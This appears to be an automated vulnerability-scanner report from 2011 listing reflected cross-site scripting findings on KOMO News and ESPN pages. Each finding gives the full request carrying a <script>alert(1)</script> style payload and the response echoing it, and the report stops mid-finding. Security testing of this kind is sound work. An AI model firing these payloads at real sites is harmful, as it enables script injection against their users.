GET /Sports/Sounders?52dca"><script>alert(1)</script>187c0480744=1 HTTP/1.1 Host: search.komonews.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <title>Sports "Sounders" News</title> <meta http-equiv="X-UA-Compatible ...[SNIP]... <link rel="alternate" type="application/rss+xml" title="KOMO News Updates" href="http://search.komonews.com/default.aspx?ct=r&q=%22Sounders%22&type=20198,20249732&52dca"><script>alert(1)</script>187c0480744=1&ename=rsspage" /> ...[SNIP]...
1.176. http://search.komonews.com/default.aspx [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://search.komonews.com
Path:
/default.aspx
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 262ed"><script>alert(1)</script>6ed48e1f7ef was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /default.aspx?ct=r&q=alaskan+way+viaduct&262ed"><script>alert(1)</script>6ed48e1f7ef=1 HTTP/1.1 Host: search.komonews.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of the q request parameter is copied into the HTML document as plain text between tags. The payload 800ef<script>alert(1)</script>802ab134ff2 was submitted in the q parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /default.aspx?ct=r&q=alaskan+way+viaduct800ef<script>alert(1)</script>802ab134ff2 HTTP/1.1 Host: search.komonews.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <title>"alaskan way viaduct 800 e<script>alert 1 < script>802ab13 ...[SNIP]... <div class="noresults">No results found for "alaskan way viaduct800ef<script>alert(1)</script>802ab134ff2" or "alaskan way viaduct 800 e<script>alert(1)</script>802ab134ff2".</div> ...[SNIP]...
The value of the cc request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c0321"%3balert(1)//d2fdfaa962c was submitted in the cc parameter. This input was echoed as c0321";alert(1)//d2fdfaa962c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /team?id=190&cc=5901c0321"%3balert(1)//d2fdfaa962c HTTP/1.1 Host: soccernet.espn.go.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 23 Feb 2011 23:06:47 GMT Content-Type: text/html; charset=iso-8859-1 Server: Microsoft-IIS/6.0 P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE" From: ESPN02 Set-Cookie: SWID=9C26EDED-89CF-48C8-B3F7-8885D279085F; path=/; expires=Wed, 23-Feb-2031 23:06:47 GMT; domain=.go.com; Cache-Expires: Wed, 23 Feb 2011 23:11:47 GMT Content-Length: 27184 Cache-Control: no-cache Pragma: no-cache Set-Cookie: DE2=dXNhO3R4O2RhbGxhczticm9hZGJhbmQ7NTs0OzM7NjIzOzAzMi43ODc7LTA5Ni43OTk7ODQwOzQ0Ozc3OzY7dXM7; expires=Sat, 05 Mar 2011 23:06:47 GMT; Path=/; Domain=.go.com Connection: close Via: 8810-05/06 X-UA-Compatible: IE=EmulateIE7 Vary: Accept-Encoding
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>New York Red Bulls ...[SNIP]... ng()].join("")}}(function(){var c=false,e="AcceptCookies";if(document.cookie.indexOf(e)!==-1){c=true}else{cookieFunc(e,"yes",3);cookie=cookieFunc(e,null,null);if(cookie!=null){c=true}}if(c){var g="5901c0321";alert(1)//d2fdfaa962c",d=cookieFunc("COREG"),f=window.location,a="replace";if(g!=null){g=g+""}if(d!=null&&d!==g){setORef();if(location.toString().indexOf("cc=")!=-1){var b=new RegExp("cc="+g,"i");f=f.toString()[a](b,"cc="+ ...[SNIP]...
The value of the cc request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 563e2"><script>alert(1)</script>a0867662a73 was submitted in the cc parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /team?id=190&cc=5901563e2"><script>alert(1)</script>a0867662a73 HTTP/1.1 Host: soccernet.espn.go.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 23 Feb 2011 23:06:46 GMT Content-Type: text/html; charset=iso-8859-1 Server: Microsoft-IIS/6.0 P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE" From: ESPN32 Set-Cookie: SWID=0080C2D3-BF04-4C91-85A0-65F5A6E54CD3; path=/; expires=Wed, 23-Feb-2031 23:06:46 GMT; domain=.go.com; Cache-Expires: Wed, 23 Feb 2011 23:11:46 GMT Content-Length: 27281 Cache-Control: no-cache Pragma: no-cache Set-Cookie: DE2=dXNhO3R4O2RhbGxhczticm9hZGJhbmQ7NTs0OzM7NjIzOzAzMi43ODc7LTA5Ni43OTk7ODQwOzQ0Ozc3OzY7dXM7; expires=Sat, 05 Mar 2011 23:06:46 GMT; Path=/; Domain=.go.com Connection: close Via: 8810-05/06 X-UA-Compatible: IE=EmulateIE7 Vary: Accept-Encoding
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>New York Red Bulls ...[SNIP]... ng()].join("")}}(function(){var c=false,e="AcceptCookies";if(document.cookie.indexOf(e)!==-1){c=true}else{cookieFunc(e,"yes",3);cookie=cookieFunc(e,null,null);if(cookie!=null){c=true}}if(c){var g="5901563e2"><script>alert(1)</script>a0867662a73",d=cookieFunc("COREG"),f=window.location,a="replace";if(g!=null){g=g+""}if(d!=null&&d!==g){setORef();if(location.toString().indexOf("cc=")!=-1){var b=new RegExp("cc="+g,"i");f=f.toString()[a](b,"cc="+ ...[SNIP]...
The value of the columnist request parameter is copied into an HTML comment. The payload de58b--><script>alert(1)</script>a255c6a6a00 was submitted in the columnist parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /chicago/nba/columns/story?columnist=greenberg_jonde58b--><script>alert(1)</script>a255c6a6a00&id=6146046 HTTP/1.1 Host: sports.espn.go.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: broadbandAccess=espn3-false%2Cnetworks-false; DE2=dXNhO3R4O2RhbGxhczticm9hZGJhbmQ7NTs0OzM7NjIzOzAzMi43ODc7LTA5Ni43OTk7ODQwOzQ0Ozc3OzY7dXM7; s_pers=%20s_c24%3D1298497403866%7C1393105403866%3B%20s_c24_s%3DFirst%2520Visit%7C1298499203866%3B%20s_gpv_pn%3Despnnewyork%253Anewyork%253Ahome%253Aindex%7C1298499203874%3B; s_sess=%20s_cc%3Dtrue%3B%20s_omni_lid%3D%3B%20s_sq%3D%3B%20s_ppv%3D25%3B; DS=c29mdGxheWVyLmNvbTswO3NvZnRsYXllciB0ZWNobm9sb2dpZXMgaW5jLjs=; s_vi=[CS]v1|26B2BFB9850139D0-4000010EA079E4CC[CE]; CRBLM=CBLM-001:; CRBLM_LAST_UPDATE=1298497363; userAB=F; SWID=EEF93A7D-3488-4FA5-8C21-135C0F4819BF;
Response
HTTP/1.1 200 OK Cache-Control: max-age=60 Date: Sat, 26 Feb 2011 02:21:50 GMT Content-Type: text/html; charset=iso-8859-1 Last-Modified: Sat, 26 Feb 2011 02:21:50 GMT Server: Microsoft-IIS/6.0 P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE" From: ESPN31 Cache-Expires: Sat, 26 Feb 2011 02:22:50 GMT Content-Length: 48139 Connection: close X-UA-Compatible: IE=EmulateIE7 Vary: Accept-Encoding
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Coaching Chicago Bu ...[SNIP]... <!--url:/chicago/nba/columns/story?columnist=greenberg_jonde58b--><script>alert(1)</script>a255c6a6a00&id=6146046--> ...[SNIP]...
The value of the columnist request parameter is copied into an HTML comment. The payload df167--><script>alert(1)</script>1c3289f1740 was submitted in the columnist parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /chicago/nfl/columns/story?columnist=isaacson_melissadf167--><script>alert(1)</script>1c3289f1740&id=6137245 HTTP/1.1 Host: sports.espn.go.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: broadbandAccess=espn3-false%2Cnetworks-false; DE2=dXNhO3R4O2RhbGxhczticm9hZGJhbmQ7NTs0OzM7NjIzOzAzMi43ODc7LTA5Ni43OTk7ODQwOzQ0Ozc3OzY7dXM7; s_pers=%20s_c24%3D1298497403866%7C1393105403866%3B%20s_c24_s%3DFirst%2520Visit%7C1298499203866%3B%20s_gpv_pn%3Despnnewyork%253Anewyork%253Ahome%253Aindex%7C1298499203874%3B; s_sess=%20s_cc%3Dtrue%3B%20s_omni_lid%3D%3B%20s_sq%3D%3B%20s_ppv%3D25%3B; DS=c29mdGxheWVyLmNvbTswO3NvZnRsYXllciB0ZWNobm9sb2dpZXMgaW5jLjs=; s_vi=[CS]v1|26B2BFB9850139D0-4000010EA079E4CC[CE]; CRBLM=CBLM-001:; CRBLM_LAST_UPDATE=1298497363; userAB=F; SWID=EEF93A7D-3488-4FA5-8C21-135C0F4819BF;
Response
HTTP/1.1 200 OK Cache-Control: max-age=60 Date: Sat, 26 Feb 2011 02:22:33 GMT Content-Type: text/html; charset=iso-8859-1 Last-Modified: Sat, 26 Feb 2011 02:22:33 GMT Server: Microsoft-IIS/6.0 P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE" From: ESPN15 Cache-Expires: Sat, 26 Feb 2011 02:23:33 GMT Content-Length: 41569 Connection: close X-UA-Compatible: IE=EmulateIE7 Vary: Accept-Encoding
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Dave Duerson's form ...[SNIP]... <!--url:/chicago/nfl/columns/story?columnist=isaacson_melissadf167--><script>alert(1)</script>1c3289f1740&id=6137245--> ...[SNIP]...
The value of the sport request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bf0f9"><script>alert(1)</script>e1494246220 was submitted in the sport parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /chicago/teams/recap?gameId=310542507&sport=ncbbf0f9"><script>alert(1)</script>e1494246220 HTTP/1.1 Host: sports.espn.go.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: broadbandAccess=espn3-false%2Cnetworks-false; DE2=dXNhO3R4O2RhbGxhczticm9hZGJhbmQ7NTs0OzM7NjIzOzAzMi43ODc7LTA5Ni43OTk7ODQwOzQ0Ozc3OzY7dXM7; s_pers=%20s_c24%3D1298497403866%7C1393105403866%3B%20s_c24_s%3DFirst%2520Visit%7C1298499203866%3B%20s_gpv_pn%3Despnnewyork%253Anewyork%253Ahome%253Aindex%7C1298499203874%3B; s_sess=%20s_cc%3Dtrue%3B%20s_omni_lid%3D%3B%20s_sq%3D%3B%20s_ppv%3D25%3B; DS=c29mdGxheWVyLmNvbTswO3NvZnRsYXllciB0ZWNobm9sb2dpZXMgaW5jLjs=; s_vi=[CS]v1|26B2BFB9850139D0-4000010EA079E4CC[CE]; CRBLM=CBLM-001:; CRBLM_LAST_UPDATE=1298497363; userAB=F; SWID=EEF93A7D-3488-4FA5-8C21-135C0F4819BF;
Response
HTTP/1.1 200 OK Cache-Control: max-age=60 Date: Sat, 26 Feb 2011 02:22:52 GMT Content-Type: text/html; charset=iso-8859-1 Last-Modified: Sat, 26 Feb 2011 02:22:52 GMT Server: Microsoft-IIS/6.0 P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE" From: ESPN16 Cache-Expires: Sat, 26 Feb 2011 02:23:52 GMT Content-Length: 21817 Connection: close X-UA-Compatible: IE=EmulateIE7 Vary: Accept-Encoding
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Game Recap - ESPN C ...[SNIP]... <a href="http://sports.espn.go.com/ncbbf0f9"><script>alert(1)</script>e1494246220/boxscore?gameId=310542507"> ...[SNIP]...
The value of the cb request parameter is copied into the HTML document as plain text between tags. The payload d4bef<script>alert(1)</script>37fa09da2a3 was submitted in the cb parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /espn/js/uniloginInLineReplace?cb=runOmnitureIndependentlyd4bef<script>alert(1)</script>37fa09da2a3 HTTP/1.1 Host: sports.espn.go.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: broadbandAccess=espn3-false%2Cnetworks-false; DE2=dXNhO3R4O2RhbGxhczticm9hZGJhbmQ7NTs0OzM7NjIzOzAzMi43ODc7LTA5Ni43OTk7ODQwOzQ0Ozc3OzY7dXM7; s_pers=%20s_c24%3D1298497403866%7C1393105403866%3B%20s_c24_s%3DFirst%2520Visit%7C1298499203866%3B%20s_gpv_pn%3Despnnewyork%253Anewyork%253Ahome%253Aindex%7C1298499203874%3B; s_sess=%20s_cc%3Dtrue%3B%20s_omni_lid%3D%3B%20s_sq%3D%3B%20s_ppv%3D25%3B; DS=c29mdGxheWVyLmNvbTswO3NvZnRsYXllciB0ZWNobm9sb2dpZXMgaW5jLjs=; s_vi=[CS]v1|26B2BFB9850139D0-4000010EA079E4CC[CE]; CRBLM=CBLM-001:; CRBLM_LAST_UPDATE=1298497363; userAB=F; SWID=EEF93A7D-3488-4FA5-8C21-135C0F4819BF;
Response
HTTP/1.1 200 OK Cache-Control: max-age=300 Date: Wed, 23 Feb 2011 23:08:02 GMT Content-Type: text/html; charset=iso-8859-1 Last-Modified: Wed, 23 Feb 2011 23:08:02 GMT Server: Microsoft-IIS/6.0 P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE" From: ESPN18 Cache-Expires: Wed, 23 Feb 2011 23:18:02 GMT Content-Length: 324 Connection: close X-UA-Compatible: IE=EmulateIE7
The value of the columnist request parameter is copied into an HTML comment. The payload 79c9f--><script>alert(1)</script>32e5dd3314b was submitted in the columnist parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /golf/columns/story?columnist=sobel_jason79c9f--><script>alert(1)</script>32e5dd3314b&page=CiL HTTP/1.1 Host: sports.espn.go.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: broadbandAccess=espn3-false%2Cnetworks-false; DE2=dXNhO3R4O2RhbGxhczticm9hZGJhbmQ7NTs0OzM7NjIzOzAzMi43ODc7LTA5Ni43OTk7ODQwOzQ0Ozc3OzY7dXM7; s_pers=%20s_c24%3D1298497403866%7C1393105403866%3B%20s_c24_s%3DFirst%2520Visit%7C1298499203866%3B%20s_gpv_pn%3Despnnewyork%253Anewyork%253Ahome%253Aindex%7C1298499203874%3B; s_sess=%20s_cc%3Dtrue%3B%20s_omni_lid%3D%3B%20s_sq%3D%3B%20s_ppv%3D25%3B; DS=c29mdGxheWVyLmNvbTswO3NvZnRsYXllciB0ZWNobm9sb2dpZXMgaW5jLjs=; s_vi=[CS]v1|26B2BFB9850139D0-4000010EA079E4CC[CE]; CRBLM=CBLM-001:; CRBLM_LAST_UPDATE=1298497363; userAB=F; SWID=EEF93A7D-3488-4FA5-8C21-135C0F4819BF;
Response
HTTP/1.1 200 OK Cache-Control: max-age=15 Date: Wed, 23 Feb 2011 23:07:54 GMT Content-Type: text/html; charset=iso-8859-1 Last-Modified: Wed, 23 Feb 2011 23:07:54 GMT Server: Microsoft-IIS/6.0 P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE" From: ESPN05 Cache-Expires: Wed, 23 Feb 2011 23:10:09 GMT Content-Length: 41287 Connection: close X-UA-Compatible: IE=EmulateIE7 Vary: Accept-Encoding
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content- ...[SNIP]... <!--/golf/columns/story?columnist=sobel_jason79c9f--><script>alert(1)</script>32e5dd3314b&page=CiL--> ...[SNIP]...
The value of the id request parameter is copied into an HTML comment. The payload a24de--><script>alert(1)</script>8a656193ce9 was submitted in the id parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /mlb/columns/story?columnist=crasnick_jerry&id=6095672\a24de--><script>alert(1)</script>8a656193ce9 HTTP/1.1 Host: sports.espn.go.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: broadbandAccess=espn3-false%2Cnetworks-false; DE2=dXNhO3R4O2RhbGxhczticm9hZGJhbmQ7NTs0OzM7NjIzOzAzMi43ODc7LTA5Ni43OTk7ODQwOzQ0Ozc3OzY7dXM7; s_pers=%20s_c24%3D1298497403866%7C1393105403866%3B%20s_c24_s%3DFirst%2520Visit%7C1298499203866%3B%20s_gpv_pn%3Despnnewyork%253Anewyork%253Ahome%253Aindex%7C1298499203874%3B; s_sess=%20s_cc%3Dtrue%3B%20s_omni_lid%3D%3B%20s_sq%3D%3B%20s_ppv%3D25%3B; DS=c29mdGxheWVyLmNvbTswO3NvZnRsYXllciB0ZWNobm9sb2dpZXMgaW5jLjs=; s_vi=[CS]v1|26B2BFB9850139D0-4000010EA079E4CC[CE]; CRBLM=CBLM-001:; CRBLM_LAST_UPDATE=1298497363; userAB=F; SWID=EEF93A7D-3488-4FA5-8C21-135C0F4819BF;
Response
HTTP/1.1 200 OK Cache-Control: max-age=15 Date: Sat, 26 Feb 2011 02:21:47 GMT Content-Type: text/html Last-Modified: Sat, 26 Feb 2011 02:21:47 GMT Server: Microsoft-IIS/6.0 P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE" From: ESPN16 Cache-Expires: Sat, 26 Feb 2011 02:22:47 GMT Content-Length: 59814 Connection: close X-UA-Compatible: IE=EmulateIE7 Vary: Accept-Encoding
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content- ...[SNIP]... <!--/mlb/columns/story?columnist=crasnick_jerry&id=6095672\a24de--><script>alert(1)</script>8a656193ce9--> ...[SNIP]...
The value of the columnist request parameter is copied into an HTML comment. The payload f2e24--><script>alert(1)</script>7793b931b30 was submitted in the columnist parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /ncaa/columns/story?columnist=forde_patf2e24--><script>alert(1)</script>7793b931b30&id=6150934 HTTP/1.1 Host: sports.espn.go.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: broadbandAccess=espn3-false%2Cnetworks-false; DE2=dXNhO3R4O2RhbGxhczticm9hZGJhbmQ7NTs0OzM7NjIzOzAzMi43ODc7LTA5Ni43OTk7ODQwOzQ0Ozc3OzY7dXM7; s_pers=%20s_c24%3D1298497403866%7C1393105403866%3B%20s_c24_s%3DFirst%2520Visit%7C1298499203866%3B%20s_gpv_pn%3Despnnewyork%253Anewyork%253Ahome%253Aindex%7C1298499203874%3B; s_sess=%20s_cc%3Dtrue%3B%20s_omni_lid%3D%3B%20s_sq%3D%3B%20s_ppv%3D25%3B; DS=c29mdGxheWVyLmNvbTswO3NvZnRsYXllciB0ZWNobm9sb2dpZXMgaW5jLjs=; s_vi=[CS]v1|26B2BFB9850139D0-4000010EA079E4CC[CE]; CRBLM=CBLM-001:; CRBLM_LAST_UPDATE=1298497363; userAB=F; SWID=EEF93A7D-3488-4FA5-8C21-135C0F4819BF;
Response
HTTP/1.1 200 OK Date: Wed, 23 Feb 2011 23:07:40 GMT Content-Type: text/html; charset=iso-8859-1 Server: Microsoft-IIS/6.0 P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE" From: ESPN11 Cache-Expires: Wed, 23 Feb 2011 23:14:00 GMT Content-Length: 50181 Cache-Control: no-cache Pragma: no-cache Connection: close X-UA-Compatible: IE=EmulateIE7 Vary: Accept-Encoding
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content- ...[SNIP]... <!--/ncaa/columns/story?columnist=forde_patf2e24--><script>alert(1)</script>7793b931b30&id=6150934--> ...[SNIP]...
The value of the id request parameter is copied into an HTML comment. The payload e22e0--><script>alert(1)</script>51559d0ec4 was submitted in the id parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /ncaa/columns/story?columnist=forde_pat&id=6150934e22e0--><script>alert(1)</script>51559d0ec4 HTTP/1.1 Host: sports.espn.go.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: broadbandAccess=espn3-false%2Cnetworks-false; DE2=dXNhO3R4O2RhbGxhczticm9hZGJhbmQ7NTs0OzM7NjIzOzAzMi43ODc7LTA5Ni43OTk7ODQwOzQ0Ozc3OzY7dXM7; s_pers=%20s_c24%3D1298497403866%7C1393105403866%3B%20s_c24_s%3DFirst%2520Visit%7C1298499203866%3B%20s_gpv_pn%3Despnnewyork%253Anewyork%253Ahome%253Aindex%7C1298499203874%3B; s_sess=%20s_cc%3Dtrue%3B%20s_omni_lid%3D%3B%20s_sq%3D%3B%20s_ppv%3D25%3B; DS=c29mdGxheWVyLmNvbTswO3NvZnRsYXllciB0ZWNobm9sb2dpZXMgaW5jLjs=; s_vi=[CS]v1|26B2BFB9850139D0-4000010EA079E4CC[CE]; CRBLM=CBLM-001:; CRBLM_LAST_UPDATE=1298497363; userAB=F; SWID=EEF93A7D-3488-4FA5-8C21-135C0F4819BF;
Response
HTTP/1.1 200 OK Date: Wed, 23 Feb 2011 23:07:42 GMT Content-Type: text/html; charset=iso-8859-1 Server: Microsoft-IIS/6.0 P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE" From: ESPN02 Cache-Expires: Wed, 23 Feb 2011 23:14:02 GMT Content-Length: 48840 Cache-Control: no-cache Pragma: no-cache Connection: close X-UA-Compatible: IE=EmulateIE7 Vary: Accept-Encoding
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content- ...[SNIP]... <!--/ncaa/columns/story?columnist=forde_pat&id=6150934e22e0--><script>alert(1)</script>51559d0ec4--> ...[SNIP]...
The value of the columnist request parameter is copied into an HTML comment. The payload ab783--><script>alert(1)</script>13cf7f13f38 was submitted in the columnist parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /new-york/mlb/columns/story?columnist=marchand_andrewab783--><script>alert(1)</script>13cf7f13f38&id=6148017 HTTP/1.1 Host: sports.espn.go.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: broadbandAccess=espn3-false%2Cnetworks-false; DE2=dXNhO3R4O2RhbGxhczticm9hZGJhbmQ7NTs0OzM7NjIzOzAzMi43ODc7LTA5Ni43OTk7ODQwOzQ0Ozc3OzY7dXM7; s_pers=%20s_c24%3D1298497403866%7C1393105403866%3B%20s_c24_s%3DFirst%2520Visit%7C1298499203866%3B%20s_gpv_pn%3Despnnewyork%253Anewyork%253Ahome%253Aindex%7C1298499203874%3B; s_sess=%20s_cc%3Dtrue%3B%20s_omni_lid%3D%3B%20s_sq%3D%3B%20s_ppv%3D25%3B; DS=c29mdGxheWVyLmNvbTswO3NvZnRsYXllciB0ZWNobm9sb2dpZXMgaW5jLjs=; s_vi=[CS]v1|26B2BFB9850139D0-4000010EA079E4CC[CE]; CRBLM=CBLM-001:; CRBLM_LAST_UPDATE=1298497363; userAB=F; SWID=EEF93A7D-3488-4FA5-8C21-135C0F4819BF;
Response
HTTP/1.1 200 OK Cache-Control: max-age=60 Date: Wed, 23 Feb 2011 23:07:25 GMT Content-Type: text/html; charset=iso-8859-1 Last-Modified: Wed, 23 Feb 2011 23:07:25 GMT Server: Microsoft-IIS/6.0 P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE" From: ESPN35 Cache-Expires: Wed, 23 Feb 2011 23:08:25 GMT Content-Length: 48771 Connection: close X-UA-Compatible: IE=EmulateIE7 Vary: Accept-Encoding
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Spring Training 201 ...[SNIP]... <!--url:/newyork/mlb/columns/story?columnist=marchand_andrewab783--><script>alert(1)</script>13cf7f13f38&id=6148017--> ...[SNIP]...
The value of the columnist request parameter is copied into an HTML comment. The payload a78ab--><script>alert(1)</script>30f7ceccaa0 was submitted in the columnist parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
